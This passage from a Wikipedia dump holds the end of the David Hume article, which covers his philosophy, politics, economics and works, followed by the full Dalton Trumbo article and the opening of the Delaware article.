(philosophy)|inductive]], just as is the case with regard to our belief in the reality of the external world. 

For relevant contemporary work, see [[Beauchamp]] and [[Rosenberg]]'s ''[[Hume and the Problem of Causation]]'' and [[Wesley Salmon]] ''[[Causality and Explanation]]''.

===The problem of induction===
{{main|Problem of induction}}

Most of us think that the past acts as a reliable guide to the future. For example, [[physics|physicists']] laws of [[planet]]ary [[orbit]]s work for describing past planetary behavior, so we presume that they will work for describing future planetary behavior as well.  But how can we justify this presumption &amp;ndash; the principle of [[induction (philosophy)|induction]]? Hume suggested two possible justifications and rejected them both:
# The first justification states that, as a matter of [[logical necessity]], the future must resemble the past. But, Hume pointed out, we can conceive of a chaotic, erratic world where the future has nothing to do with the past &amp;ndash; or, more tamely, a world just like ours right up until the present, at which point things change completely. So nothing makes the principle of induction logically necessary. 
# The second justification, more modestly, appeals only to the past reliability of induction &amp;ndash; it has always worked before, so it will probably continue to work. But, Hume pointed out, this justification uses [[circular reasoning]], justifying induction by an appeal that requires induction to gain any force. 

The problem of justifying induction remains with us. 
For relevant contemporary work, see [[Richard Swinburne]]'s compilation ''[[The Justification of Induction]]''.

===The bundle theory of the self===
We tend to think that we are the same person we were five years ago. Though we've changed in many respects, the same person appears present as was present then. We might start thinking about which features can be changed without changing the underlying self. Hume, however, denies that there is a distinction between the various features of a person and the mysterious self that supposedly bears those features. After all, Hume pointed out, when you start introspecting, you notice a bunch of thoughts and feelings and perceptions and such, but you never perceive any substance you could call &quot;the self&quot;. So as far as we can tell, Hume concludes, there is nothing to the self over and above a big, fleeting [[Bundle theory|bundle]] of perceptions. Note in particular that, on Hume's view, these perceptions do not ''belong to'' anything. Rather, Hume compares the soul to a commonwealth, which retains its identity not by virtue of some enduring core substance, but by being composed of many different, related, and yet constantly changing elements. The question of personal identity then becomes a matter of characterizing the loose cohesion of one's personal experience.  (Note that in the Appendix to the ''Treatise'', Hume said mysteriously that he was dissatisfied with his account of the self, and yet he never returned to the issue!)

For relevant contemporary work, see [[Derek Parfit]]'s ''[[Reasons and Persons]]''.

===Practical reason: instrumentalism and nihilism===
Most of us find some behaviors more reasonable than others. Eating aluminum foil, for example, seems to have something unreasonable about it. But Hume denied that reason has any important role in motivating or discouraging behavior. After all, reason is just a sort of calculator of concepts and experience. What ultimately matters, Hume said, is how we feel about the behavior. His work is now associated with the doctrine of [[instrumental rationality|instrumentalism]], which states that an action is reasonable if and only if it serves the agent's goals and desires, whatever they be. Reason can enter the picture only as a lackey, informing the agent of useful facts concerning which actions will serve his goals and desires, but never deigning to tell the agent which goals and desires he should have. So, if you want to eat aluminum foil, reason will tell you where to find the stuff, and there's nothing unreasonable about eating it or even wanting to do so (unless, of course, one has a stronger desire for health or the appearance of sensibility). Today, however, many commentators argue that Hume actually went a step further to [[nihilism]] and said there's nothing unreasonable about deliberately frustrating your own goals and desires (&quot;I want to eat aluminum foil, so let me wire my mouth shut&quot;). Such behavior would surely be highly irregular, granting reason no role at all, but it would not be contrary to reason, which is important to make judgments in this domain.

For relevant contemporary work, see [[Jean Hampton]]'s ''[[The Authority of Reason]]'' and [[David Schmidtz]]'s ''[[Rational Choice and Moral Agency]]''.

===Moral anti-realism and motivation===
Drawing on his attack on reason's role in judging behaviour, Hume argues that immoral behaviour is not immoral by being against reason. He first claims that moral beliefs are intrinsically motivating &amp;ndash; if you believe killing is wrong, you will be ''[[ipso facto]]'' motivated not to kill and to criticise killing and so on (moral [[internalism and externalism|internalism]]). He then reminds us that reason alone can motivate nothing &amp;ndash; reason discovers matters of fact and logic, and it depends on our desires and preferences whether apprehension of those truths will motivate us. Consequently, reason alone cannot yield moral beliefs. Hume proposed that morality ultimately rests upon [[sentiment]], with reason only paving the way for our sensitive judgments by analysis of the moral matter in question. This argument against founding morality on reason is now one in the stable of moral [[anti-realism|anti-realist]] arguments; Humean philosopher [[J. L. Mackie | John Mackie]] argued that, for moral facts to be real facts about the world and, at the same time, intrinsically motivating, they would have to be very weird facts. So we have every reason not to believe in them.

For relevant contemporary work, see [[J. L. Mackie]]'s ''[[Ethics: Inventing Right and Wrong]]'', Mackie's ''[[Hume's Moral Theory]]'', [[David Brink]]'s ''[[Moral Realism and the Foundation of Ethics]]'', and [[Michael Smith (philosopher)|Michael Smith's]] ''[[The Moral Problem]]''.

===Free will versus determinism===
Just about everyone has noticed the apparent conflict between [[free will]] and [[determinism]] &amp;ndash; if your actions were determined to happen billions of years ago, then how can they be up to you? But Hume noted another conflict, one that turned the problem of free will into a full-fledged dilemma: free will is incompatible with indeterminism. Imagine that your actions are not determined by what events came before. Then your actions are, it seems, completely random. Moreover, and most importantly for Hume, they are not determined by your character &amp;ndash; your desires, your preferences, your values, etc. How can we hold someone responsible for an action that did not result from his character? How can we hold someone responsible for an action that randomly occurred? Free will seems to require determinism, because otherwise, the agent and the action wouldn't be connected in the way required of freely chosen actions. So now, nearly everyone believes in free will, free will seems inconsistent with determinism, and free will seems to require determinism. Hume's view is that human behavior, like everything else, is caused, and therefore holding people responsible for their actions should focus on rewarding them or punishing them in such a way that they will try to do what is morally desirable and will try to avoid doing what is morally reprehensible.  (See also [[Compatibilism]].)

For a critical analysis of Hume's arguments and general compatibilist strategy see, ''[[Paul Russell]]'s ''Freedom and Moral Sentiment: Hume's Way of Naturalizing Responsibility''. For a relevant contemporary work, see [[Daniel C. Dennett]]'s ''[[Freedom Evolves]]''.

===The is-ought problem===
Hume noted that many writers talk about ''what ought to be'' on the basis of statements about ''what is'' ([[is-ought problem]]). But there seems to be a big difference between descriptive statements (what is) and prescriptive statements (what ought to be). Hume calls for writers to be on their guard against changing the subject in this way without giving an explanation of how the ought-statements are supposed to follow from the is-statements. But how exactly can you derive an 'ought' from an 'is'? That question, prompted by Hume's small paragraph, has become one of the central questions of ethical theory, and Hume is usually assigned the position that such a derivation is impossible.  (Others interpret Hume as saying not that one cannot go from a factual statement to an ethical statement, but that one cannot do so without going through human nature, that is, without paying attention to human sentiments.) Hume is probably one of the first writers to make the distinction between normative (what ought to be) and positive (what is) statements, which is so prevalent in social science and moral philosophy. [[G. E. Moore]] defended a similar position with his &quot;open question argument&quot;, intending to refute any identification of moral properties with natural properties&amp;mdash;the so-called &quot;[[naturalistic fallacy]]&quot;.

===Utilitarianism===
It was probably Hume who, along with his fellow members of the [[Scottish Enlightenment]], first advanced the idea that the explanation of moral principles is to be sought in the [[utility]] they tend to promote. Hume's role is not to be overstated, of course; it was his countryman [[Francis Hutcheson]] who coined the [[utilitarian]] slogan &quot;greatest happiness for the greatest numbers&quot;. But it was from reading Hume's ''Treatise'' that [[Jeremy Bentham]] first felt the force of a utilitarian system: he &quot;felt as if scales had fallen from [his] eyes&quot;. Nevertheless, Hume's proto-utilitarianism is a peculiar one from our perspective. He doesn't think that the aggregation of cardinal units of utility provides a formula for arriving at moral truth. On the contrary, Hume was a moral sentimentalist and, as such, thought that moral principles could not be intellectually justified. Some principles simply appeal to us and others don't; and the reason why utilitarian moral principles do appeal to us is that they promote our interests and those of our fellows, with whom we sympathize. Humans are hard-wired to approve of things that help society &amp;ndash; public utility. Hume used this insight to explain how we evaluate a wide array of phenomena, ranging from social institutions and government policies to character traits and talents.

===The problem of miracles===
One way to support a religion is by appeal to [[miracle]]s. But Hume argued that, at minimum, [[miracle]]s could never give religion much support. There are several arguments suggested by Hume's essay, all of which turn on his conception of a miracle: namely, a violation of [[physics|the laws of nature]] by [[God]]. One argument claims that it's impossible to violate the laws of nature. Another claims that human testimony could never be reliable enough to countermand the evidence we have for the laws of nature. The weakest and most defensible claims that, due to the strong evidence we have for the laws of nature, any miracle claim is in trouble from the start, and needs strong supporting evidence to defeat our initial presumptions. In a slogan, extraordinary claims require extraordinary evidence. This point has been most applied to the question of the [[resurrection of Jesus]], where Hume would no doubt ask, ''&quot;Which is more likely &amp;ndash; that a man rose from the dead or that this testimony is mistaken in some way?&quot;'' Or, more blandly, ''&quot;Which is more likely &amp;ndash; that [[Uri Geller]] can really bend spoons with his mind or that there is some trick going on?&quot;'' This is somewhat similar to [[Occam's Razor]].  This argument is the backbone of the skeptic's movement and a live issue for historians of religion.
For a critical and technical ([[Bayesian probability|Bayesian]]) analysis of Hume, see [[John Earman]]'s ''[[Hume's Abject Failure]]'' &amp;ndash; the title of which gives you an idea of his assessment. For a rebuttal of Earman's interpretation of Hume, see [[Robert Fogelin]]'s ''[[A Defense of Hume on Miracles]]''. 
&lt;!-- not about Hume -- and Lewis abandoned his arguments after Anscombe vanquished them
In addition, [[C.S. Lewis]], [[Norman Geisler]], [[William Lane Craig]], and Christians who engage in jurisprudence [[Christian apologetics]] have argued that miracles are reasonable and plausible. [http://www.comereason.org/phil_qstn/phi060.asp] [http://www.christiananswers.net/q-eden/edn-t011.html] [http://www.leaderu.com/offices/billcraig/docs/miracles.html][http://www.tektonics.org/gk/hume01.html][http://www.ses.edu/journal/articles/2.1Hoffman.pdf].
--&gt;

===The design argument===
One of the oldest and most popular [[existence of God|arguments for the existence of God]] is [[teleological argument|the design argument]] &amp;ndash; that all the order and 'purpose' in the world bespeaks a divine origin. Hume  gave the classic criticism of the design argument in ''[[Dialogues Concerning Natural Religion]]'' and ''[[An Enquiry Concerning Human Understanding]]'' and though the issue is far from dead, many are convinced that Hume killed the argument for good. Here are some of his points:
#For the design argument to be feasible, it must be true that order and purpose are observed only when they result from design. But order is observed regularly, resulting from presumably mindless processes like snowflake or crystal generation. Design accounts for only a tiny part of our experience with order and 'purpose'.
#Furthermore, the design argument is based on an incomplete analogy: because of our experience with objects, we can recognise human-designed ones, comparing for example a pile of stones and a brick wall. But in order to point to a designed Universe, we would need to have an experience of a range of different universes. As we only experience one, the analogy cannot be applied.
#Even if the design argument is completely successful, it could not (in and of itself) establish a robust theism; one could easily reach the conclusion that the universe's configuration is the result of some morally ambiguous, possibly unintelligent agent or agents whose method bears only a remote similarity to human design.
#If a well-ordered natural world requires a special designer, then God's mind (being so well-ordered) ''also'' requires a special designer. And then this designer would likewise need a designer, and so on ''ad infinitum''. We could respond by resting content with an inexplicably self-ordered divine mind; but then why not rest content with an inexplicably self-ordered natural world? &lt;!-- Is it possible to form a ''reductio ad absurdum'' by assuming that God's mental state is inexplicable? I think that would make this point clearer.  How does Hume proceed? [[User:MrJones|Mr. Jones]] 19:19, [[13 July]] [[2004]] (UTC) --&gt;
#Often, what appears to be purpose, where it looks like object X has feature F in order to secure some outcome O, is better explained by a filtering process: that is, object X wouldn't be around did it not possess feature F, and outcome O is only interesting to us as a human projection of goals onto nature. This mechanical explanation of [[teleology]] anticipated [[natural selection]].  (see also [[Anthropic principle]])

For relevant contemporary work, see [[J. C. A. Gaskin]]'s ''[[Hume's Philosophy of Religion]]'', and Richard Swinburne's ''[[The Existence of God]]''; for a view from a philosopher of [[biology]], see [[Elliott Sober]]'s ''[[Philosophy of Biology]]'', ch. 2.

===Conservatism and political theory===
Many regard David Hume as a political [[conservative]], sometimes calling him the first conservative philosopher. He expressed suspicion of attempts to reform society in ways that departed from long-established custom, and he counselled people not to resist their governments except in cases of the most egregious [[tyranny]]. However, he resisted aligning himself with either of Britain's two political parties, the [[British Whig Party|Whigs]] and the [[Tories]], and he believed that we should try to balance our demands for liberty with the need for strong authority, without sacrificing either. He supported [[liberty of the press]], and was sympathetic to [[democracy]], when suitably constrained. It has been argued that he was a major inspiration for [[James Madison]]'s writings, and the [[Federalist No. 10]] in particular. He was also, in general, an optimist about social progress, believing that, thanks to the economic development that comes with the expansion of trade, societies progress from a state of &quot;barbarism&quot; to one of &quot;civilisation&quot;. Civilised societies are open, peaceful and sociable, and their [[citizen]]s are as a result much happier. It is therefore not fair to characterise him, as [[Leslie Stephen]] did, as favouring &quot;that stagnation which is the natural ideal of a [[skeptic]]&quot;. (Leslie Stephen, History of English Thought in the Eighteenth Century, 2 vols. (London: Smith, Elder and Co., 1876), vol. 2, 185.)

Although strongly pragmatic, Hume produced an essay titled &quot;Towards a Perfect Commonwealth&quot;, where he detailed what any reforms should seek to achieve.  Strong features for the time included a strict [[separation of powers]], [[decentralisation]], extending the [[Suffrage|franchise]] to anyone who held property of value and limiting the power of the [[clergy]].  The [[Switzerland|Swiss]] [[militia]] system was proposed as the best form of protection.  Elections were to take place on an annual basis and representatives were to be unpaid, which was aimed at keeping the interests of [[constituent]]s in the minds of politicians.  

For more, see [[Douglas Adair]]'s ''[[That Politics May Be Reduced to a Science: David Hume, James Madison and the Tenth Federalist]]'' in ''[[Fame and the Founding Fathers]]''; [[Donald W Livingston]], ''[[Hume's Philosophy of Common Life]]''; [[John B Stewart]], ''[[Opinion and Reform in Hume's Political Philosophy]]''; [[Bradley C. S. Watson]], ''[[Hume, Historical Inheritance, and the Problem of Founding]]'' in ''[[The American Founding and the Social Compact]]''.

==Contributions to economic thought==
Through his discussions on politics, Hume developed many ideas that are prevalent in the field of economics. This includes ideas on private property, inflation, and foreign trade.

Hume's idea on private property is special—private property was not a natural right, but is justified since it is a limited good. If all goods were unlimited and available freely, then private property would not be justified, but instead becomes an “idle ceremonial”. Hume also believed in unequal distribution of property, since perfect equality would destroy the ideas of thrift and industry, which leads to impoverishment.

Hume did not believe that foreign trade produced specie, but considered trade a stimulus for a country’s economic growth. He did not consider the volume of world trade as fixed because countries can feed off their neighbor’s wealth, being part of a “prosperous community”. The fall in foreign demand is not that fatal, because in the long run, a country cannot preserve a leading trading position. 

Hume was among the first to develop automatic price-specie flow, an idea that contrasts the [[mercantile system]]. Simply put, when a country increases its in-flow of gold, this in-flow of gold wil result in price inflation, and then price inflation will force out countries from trading that would have traded before the inflation. This results in a decrease of the in-flow of gold in the long-run.

Hume also proposed a theory of beneficial inflation. He believed that increasing the money supply would raise production in the short run. This phenomenon was caused by a gap between the increase in the money supply and that of the price level. The result is that prices will not rise at first and may not rise at all. This theory was later proven by [[John Maynard Keynes]].

==Works==
* ''[[A Treatise of Human Nature]]: Being an Attempt to introduce the experimental Method of Reasoning into Moral Subjects.'' (1739&amp;ndash;40)
**Book 1:  &quot;Of the Understanding&quot;  His treatment of everything from the origin of our ideas to how they are to be divided.  Important statements of Scepticism.
**Book 2:  &quot;Of the Passions&quot;  Treatment of emotions.
**Book 3:  &quot;Of Morals&quot;  Moral ideas, justice, obligations, benevolence.
:Hume intended to see whether the ''Treatise'' met with success, and if so to complete it with books devoted to Politics and Criticism. However, it did not meet with success (as Hume himself said, &quot;It fell dead-born from the press, without reaching such distinction as even to excite a murmur among the zealots&quot;), and so was not completed.

* ''[[An Enquiry Concerning Human Understanding]]'' (1748)
:Contains reworking of the main points of the ''Treatise'', Book 1, with the addition of material on free will, miracles, and the argument from design.

* ''[[An Enquiry Concerning the Principles of Morals]]'' (1751)
:Another reworking of material from the ''Treatise'' for more popular appeal.  Hume regarded this as the best of all his philosophical works, both in its philosophical ideas and in its literary style.

* ''[[Dialogues Concerning Natural Religion]]''  (posthumous)
:Discussion among three fictional characters concerning arguments for the existence of God, most importantly the argument from design.  Despite some controversy, most scholars agree that the view of Philo, the most skeptical of the three, comes closest to Hume's own.

* ''[[Essays Moral and Political]]'' (first ed. 1741&amp;ndash;2)
:A collection of pieces written over many years and published in a series of volumes before being gathered together into one near the end of Hume's life. The essays are dizzying and even bewildering in the breadth of topics they address. They range freely over questions of aesthetic judgement, the nature of the British government, love, marriage and polygamy, and the demographics of ancient Greece and Rome, to name just a few of the topics considered. However, certain important topics and themes recur, especially the question of what constitutes &quot;refinement&quot; in matters of [[taste (aesthetics)|taste]], manners, and morals. The Essays are written in clear imitation of [[Joseph Addison | Addison]]'s ''Tatler'' and ''[[The Spectator (1711)|The Spectator]]'', which Hume read avidly in his youth.

* ''[[The History of England]]''  (1754&amp;ndash;62)
:This forms more a category of books than a single work, a monumental history spanning &quot;from the invasion of Julius Caesar to the Revolution of 1688&quot;. This work brought Hume the most fame during his own lifetime, going through over 100 editions. Many considered it ''the'' standard history of England until the publication of [[Thomas Macaulay]]'s own monumental ''History of England''.

* &quot;[[My Own Life]]&quot; (1776)
:Penned in April, shortly before his death, this autobiography was intended for inclusion in a new edition of &quot;Essays and Treatises on Several Subjects&quot;.

L A Selby-Bigge provides, by means of an introduction to Hume's ''Enquiries'', a fascinating (and sometimes quite scathing) discussion of the various differences in the content and tone of Hume's ''Treatise'' and ''Enquiries''.

==See also==
*[[Hume's principle]]
*[[Liberalism]]
*[[Contributions to liberal theory]]
*[[Hume's fork]]

==Further reading==
*Johnson, David ''Hume, Holism and Miracles.''  Cornell University Press: Ithaca, 1999.  ISBN: 0-8014-3663-X

*Siebert, Donald T.  ''The Moral Animus of David Hume.''  University of Delaware Press: Newark, 1990.

*Russell, Paul, ''Freedom and Moral Sentiment: Hume's Way of Naturalizing Responsibility'' Oxford University Press: New York &amp; Oxford, 1995.

==References==

*Anderson, R. F. (1966). &quot;Hume’s First Principles&quot;, University of Nebraska Press, Lincoln.

*Ayer, A. J. (1980). &quot;Hume&quot;, Oxford University Press, Oxford.

*Broackes, Justin Prof., “Hume, David”, The Oxford Companion to Philosophy, Ted Hoderich (ed.), New York: Oxford University Press, 1995.

*Flew, A. (1986). &quot;David Hume: Philosopher of Moral Science&quot;, Basil Blackwell, Oxford.
 
*Fogelin, R. J. (1993). Hume’s scepticism. In Norton, D. F. (ed.), (1993). &quot;The Cambridge Companion to Hume&quot;, Cambridge University Press, pp. 90-116.

*Gregory, R. L. (1981). &quot;Mind in Science&quot;, Weidenfeld &amp; Nicolson, London.

*Husserl, E. (1970). &quot;The Crisis of European Sciences and Transcendental Phenomenology&quot;, Carr, D. (trans.), Northwestern University Press, Evanston.

*Kolakowski, I. (1968). &quot;The Alienation of Reason: A History of Positivist Thought&quot;, Doubleday, Garden City.

*Morris, William Edward, “David Hume”, [http://plato.stanford.edu/archives/spr2001/entries/hume/The Stanford Encyclopedia of Philosophy (Spring 2001 Edition), Edward N. Zalta (ed.)]

*Norton, D. F. (1993). Introduction to Hume’s thought. In Norton, D. F. (ed.), (1993). &quot;The Cambridge Companion to Hume, Cambridge University Press, pp. 1-32.

*Penelhum, T. (1993). Hume’s moral philosophy. In Norton, D. F. (ed.), (1993). &quot;The Cambridge Companion to Hume&quot;, Cambridge University Press, pp. 117-147.

*Phillipson, N. (1989). &quot;Hume&quot;, Weidenfeld &amp; Nicolson, London.

*Popper. K. (1960). Knowledge without authority. In Miller D. (ed.), (1983). Popper, Oxford, Fontana, pp. 46-57.

*Robinson, Dave &amp; Groves, Judy (2003). ''Introducing Political Philosophy''. Icon Books. ISBN 1-84046-450-X.

*Russell, B. (1946). &quot;A History of Western Philosophy&quot;. London, Allen and Unwin.

*Spiegel, Henry William, &quot;The Growth of Economic Thought&quot;, 3rd Ed., Durham: Duke University Press, 1991.

*Stephen, L. (1962). &quot;A History of English Thought in the Eighteenth Century&quot;, Harcourt, New York.

*Stroud, B. (1977). &quot;Hume, Routledge&quot;, London &amp; New York.

*Taylor, A. E. (1927). &quot;David Hume and the Miraculous&quot;, Leslie Stephen Lecture. Cambridge, pp. 53-4. 

==External links==
{{wikisource author}}
{{wikiquote}}
*Online editions of Hume's work:
* {{gutenberg author| id=David+Hume | name=David Hume}}
**{{gutenberg|no=4705|name=A Treatise of Human Nature}}
**{{gutenberg|no=10574|name=The History of England, Volume I}}
**{{gutenberg|no=4320|name=An Enquiry Concerning the Principles of Morals}}
**{{gutenberg|no=9662|name=An Enquiry Concerning Human Understanding}}
**{{gutenberg|no=4583|name=Dialogues Concerning Natural Religion}}
**[http://onlinebooks.library.upenn.edu/webbin/book/search?amode=start&amp;author=Hume%2c%20David e-texts of some of David Hume's works]
*[http://utilitarian.net/hume David Hume]: Resources on Hume, including books, articles, and encyclopedia entries.
*[http://humesociety.org Hume Society]: An international scholarly society.
*Stanford Encyclopedia of Philosophy:
**[http://plato.stanford.edu/entries/hume/ David Hume]
**[http://plato.stanford.edu/entries/hume-aesthetics/ Hume's Aesthetics]
**[http://plato.stanford.edu/entries/hume-moral/ Hume's Moral Philosophy]
**[http://plato.stanford.edu/entries/hume-religion/ Hume on Religion]
* [http://www.jamesboswell.info/People/people.php?person=59 David Hume] at James Boswell - a Guide
* [http://www.earlymoderntexts.com/ READABLE versions of Treatise Book 1, First Enquiry, and Dialogues on Natural Religion]

[[Category:Rhetoricians|Hume, David]]

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    <title>Dalton Trumbo</title>
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'''Dalton Trumbo''' ([[December 9]], [[1905]] &amp;ndash; [[September 10]], [[1976]]) was an [[United States|American]] [[screenwriter]] and [[novelist]], and a member of the [[Hollywood Ten]], one of  group of film professionals who refused to testify before the [[1947]] [[House Un-American Activities Committee]] about alleged communist involvement. Though only convicted of [[contempt of Congress]], he was [[blacklist]]ed, and in 1950 spent 11 months in prison. 

Born in [[Montrose, Colorado]], Trumbo got his start working for Vogue magazine. He started in movies in [[1937]]; by the [[1940s]] he was one of Hollywood's highest paid writers for work on such films as 1940's ''[[Kitty Foyle]]'', for which he was nominated for an [[Academy Award for Writing Adapted Screenplay]], ''[[Thirty Seconds Over Tokyo]]'' (1944), and ''[[Our Vines Have Tender Grapes]]'' (1945). 

After his blacklisting, he moved to Mexico with [[Hugo Butler]] and his wife [[Jean Rouverol]], who had also been blacklisted. There, Trumbo wrote thirty scripts under [[pseudonym]]s, such as the co-written ''[[Gun Crazy]]'' (1950) written under the pseudonym '''Millard Kaufman'''. He won an [[Academy_award|Oscar]] for ''[[The Brave One]]'' (1956), written under the name '''Robert Rich'''. 

In 1960 he received full credit (due in part to the efforts of actor [[Kirk Douglas]]) for the motion-picture epics ''[[Exodus (movie)|Exodus]]'' and ''[[Spartacus]]'', much to the chagrin of many conservatives/right wingers in the film industry, and thereafter on all subsequent scripts, and he was reinstated as a member of the [[Writers Guild of America]]. 

Trumbo's vivid [[anti-war]] novel, ''[[Johnny Got His Gun]]'', won a National Book Award (then known as an American Book Sellers Award) in [[1939]]. Shortly after the [[Operation Barbarossa|1941 German invasion of the Soviet Union]], Trumbo ordered all copies of ''Johnny Got His Gun'' to be recalled and stopped any further publication of the book. After receiving letters from individuals requesting copies of the book, Trumbo contacted the FBI and turned these letters over to them, questioning the correspondents' loyalty to the [[Allies of World War II|Allied]] war effort.

In [[1971]] Trumbo directed his own film adaptation of the novel, which starred [[Timothy Bottoms]], [[Diane Varsi]] and [[Jason Robards]]. The inspiration for the novel came to Trumbo when he read an article about a [[United Kingdom|British]] officer who was horribly disfigured during [[World War I]]. One of his last films, ''[[Executive Action (movie)|Executive Action]]'', was based on various [[conspiracy theory|conspiracy theories]] about the [[Kennedy assassination]].

His account and analysis of the [[Smith Act]] trials is entitled ''[[The Devil in the Book]]''. 

He is often quoted as having said, '''I never considered the working class anything other than something to get out of.'''


==Works==
Selected film works that he created and such:

*''[[Road Gang]]'', 1936 
*''[[Love Begins at 20]]'', 1936 
*''[[Devils Playground|Devil's Playground]]'', 1937 
*''[[Fugitives for a Night]]'', 1938 
*''[[A Man to Remember]]'', 1938 
*''[[Five Came Back]]'', 1939 (with [[Nathanael West]] and J. Cody) 
*''[[Curtain Call]]'', 1941 
*''[[Bill of Divorcement]]'', 1940 
*''[[Kitty Foyle]]'', 1940 
*''[[The Remarkable Andrew]]'', 1942 
*''[[Tender Comrade]]'', 1944 
*''[[A Guy Named Joe]]'', 1944 
*''[[Thirty Seconds Over Tokyo]]'', 1944 
*''[[Our Vines Have Tender Grapes]]'', 1945 
*''[[Gun Crazy]]'', 1950 (co-writer, front [[Millard Kaufman]])
*''[[He Ran All the Way]]'', 1951 (co-writer, front [[Guy Endore]])
*''[[Roman Holiday]]'', 1953 (front [[Ian McLellan Hunter]])
*''[[The Brave One]]'', 1956 (front [[Robert Rich]]) 
*''[[Spartacus (film)|Spartacus]]'', 1960, dir. by [[Stanley Kubrick]] 
*''[[Exodus (movie)|Exodus]]'', 1960 (a film based on [[Leon Uris]]'s [[Exodus (novel)|novel by the same name]], 1958) 
*''[[The Last Sunset]]'', 1961 
*''[[Lonely are the Brave]]'', 1962 
*''[[The Sandpiper]]'', 1965 
*''[[Hawaii (film)|Hawaii]]'', 1966 (based on the novel by [[James Michener]], 1959) 
*''[[The Fixer]]'', 1968 
*''[[Johnny Got His Gun]]'', 1971 (also dir.) 
*''[[The Horsemen]]'', 1971 
*''[[F.T.A]]'', 1972 
*''[[Executive Action (movie)|Executive Action]]'', 1973 
*''[[Papillon (film)|Papillon]]'', 1973 (based on the novel by [[Henri Charrière]], 1969)
 
Novels, plays and essays:

*''[[Eclipse]]'', 1935 
*''[[Washington Jitters]]'', 1936 
*''[[Johnny Got His Gun]]'', 1939
*''[[The Remarkable Andrew]]'', 1940 
*''[[Chronicle of a Literal Man]]'', 1941 
*''[[The Biggest Thief in Town]]'', 1949 (play) 
*''[[The Time Out of the Toad]]'', 1972 (essays) 
*''[[Night of the Aurochs]]'', 1979 (unfinished, ed. R. Kirsch) 

Non-fiction:

*''[[Harry Bridges]]'', 1941 
*''[[The Time of the Toad]]'', 1949 
*''[[The Devil in the Book]]'', 1956 
*''[[Additional Dialogue: Letters of Dalton Trumbo]]'', 1942-62, 1970 (ed. by H. Manfull)

[[Category:1905 births|Trumbo, Dalton]]
[[Category:1976 deaths|Trumbo, Dalton]]
[[Category:American screenwriters|Trumbo, Dalton]]
[[Category:American writers|Trumbo, Dalton]]
[[Category:Christian Science|Trumbo, Dalton]]
[[Category:Hollywood blacklist|Trumbo, Dalton]]
[[Category:People from Colorado|Trumbo, Dalton]]
[[Category:Writing Adapted Screenplay Oscar Nominee|Trumbo, Dalton]]

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    <title>Delaware</title>
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      <text xml:space="preserve">{{Otheruses1|the U.S. State}}
{{US state |
  Name            = Delaware |
  Fullname        = State of Delaware |
  Flag            = DE_Flag_500w.gif |
  Flaglink      = [[Flag of Delaware]] |
  Seal            = DE_Seal_Color_250w.gif |
  Map             = Map of USA highlighting Delaware.png |
  Nickname        = The First State |
  Capital         = [[Dover, Delaware|Dover]] |
  LargestCity     = [[Wilmington, Delaware|Wilmington]] |
  Governor        = [[Ruth Ann Minner]] (D)|
  Senators        = [[Joe Biden|Joseph R. Biden, Jr.]] (D)
[[Thomas R. Carper]] (D) |
  PostalAbbreviation = DE |
  OfficialLang    = ''None'' |
  AreaRank        = 49&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 6,452 | 
  LandArea        = 5,068 |
  WaterArea       = 1,387 |
  PCWater         = 21.5 |
  PopRank         = 45&lt;sup&gt;th&lt;/sup&gt; |
  2000Pop         = 783,600 |
  DensityRank     = 7&lt;sup&gt;th&lt;/sup&gt; |
  2000Density     = 154.87 |
  AdmittanceOrder = 1&lt;sup&gt;st&lt;/sup&gt; |
  AdmittanceDate  = [[December 7]], [[1787]] |
  TimeZone        = [[Eastern Standard Time Zone|Eastern]]: [[Coordinated Universal Time|UTC]]-5/[[Daylight saving time|-4]] |
  Longitude       = 75°2'W to 75°47'W |
  Latitude        = 38°27'N to 39°50'N |
  Width           = 48 |
  Length          = 161 |
  HighestElev     = 137 |
  MeanElev        = 18 |
  LowestElev      = 0 |
  ISOCode         = US-DE |
  Website         = delaware.gov
}}

'''Delaware''' is a state in the [[United States|United States of America]]. It was one of the original 13 states and is known as the &quot;First State&quot; as it was the first of them to ratify the [[United States Constitution]]. It is a [[Mid-Atlantic]] state located on the western shore of the [[Delaware River]] and [[Delaware Bay]] and geographically is the second smallest state in the [[United States]]. The state capital is at [[Dover, Delaware|Dover]] and its major city is [[Wilmington, Delaware|Wilmington]].

== History ==
{{main|History of Delaware}}

===Native Americans===
Before Delaware was settled by [[Europeans]], the area was home to the  Eastern [[Algonquian]] tribes known as the Unami [[Lenape]] or [[Lenape|Delaware]] throughout the [[Delaware River|Delaware]] valley, and the [[Nanticoke]] along the rivers leading into the [[Chesapeake Bay]].  The Unami [[Lenape]] in the [[Delaware River|Delaware]] valley were closely related to Munsee [[Lenape]] tribes along the [[Hudson River]]. They had a settled hunting and agricultural society, and rapidly became middlemen in an increasingly frantic fur trade with their ancient enemy, the [[Susquehannock|Minqua]] or [[Susquehannock]]. With the loss of their lands on the [[Delaware River]], and the destruction of the [[Susquehannock|Minqua]] by the [[Iroquois]] of the [[Five Nations]] in the [[1670]]'s,    the remnants of the [[Lenape]] left the region and moved over the [[Alleghany Mountains]] by the mid 18th century.

===Colonial Delaware===
The [[Dutch people|Dutch]] were the first [[Europeans]] to settle in present day Delaware by establishing a trading post at Zwaanendael, near the site of [[Lewes, Delaware|Lewes]] in [[1631]]. Within a year all the settlers were killed in a dispute with [[Native Americans in the United States|Native Americans]].  In [[1638]] a [[Sweden|Swedish]] trading post and colony was established at [[Fort Christina]] (now in [[Wilmington, Delaware|Wilmington]]) by the Dutchman [[Peter Minuit]] at the head of a group of [[Swedish people|Swedes]], [[Finnish people|Finns]] and Dutch. Thirteen years later the Dutch, reinvigorated by the leadership of [[Peter Stuyvesant]], established a new fort in [[1651]] at present day [[New Castle, Delaware]] and in [[1655]] took over the entire Swedish colony, incorporating it into the Dutch [[New Netherland]]s.

Only nine years later, in [[1664]], the Dutch were themselves forcibly removed by a [[Kingdom of Great Britain|British]] expedition under the direction of [[James II of England|James, the Duke of York]]. Fighting off a prior claim by [[Cæcilius Calvert, 2nd Baron Baltimore]], Proprietor of [[Maryland]], the Duke passed his somewhat dubious ownership on to [[William Penn]] in [[1682]]. Penn badly wanted an outlet to the sea for his [[Pennsylvania]] province and leased what were now known as the &quot;Lower Counties on the Delaware&quot; from the Duke. 

Penn established representative government and briefly combined his two possessions under one General Assembly in [[1682]]. However, by [[1704]] the Province of Pennsylvania had grown so much, their representatives wanted to make decisions without the assent of the Lower Counties and the two groups of representatives began meeting on their own, one at [[Philadelphia, Pennsylvania|Philadelphia]], and the other at New Castle.  Penn and his heirs remained the Proprietors of both and always appointed the same person Deputy Governor for their Province of Pennsylvania and their territory of the Lower Counties.

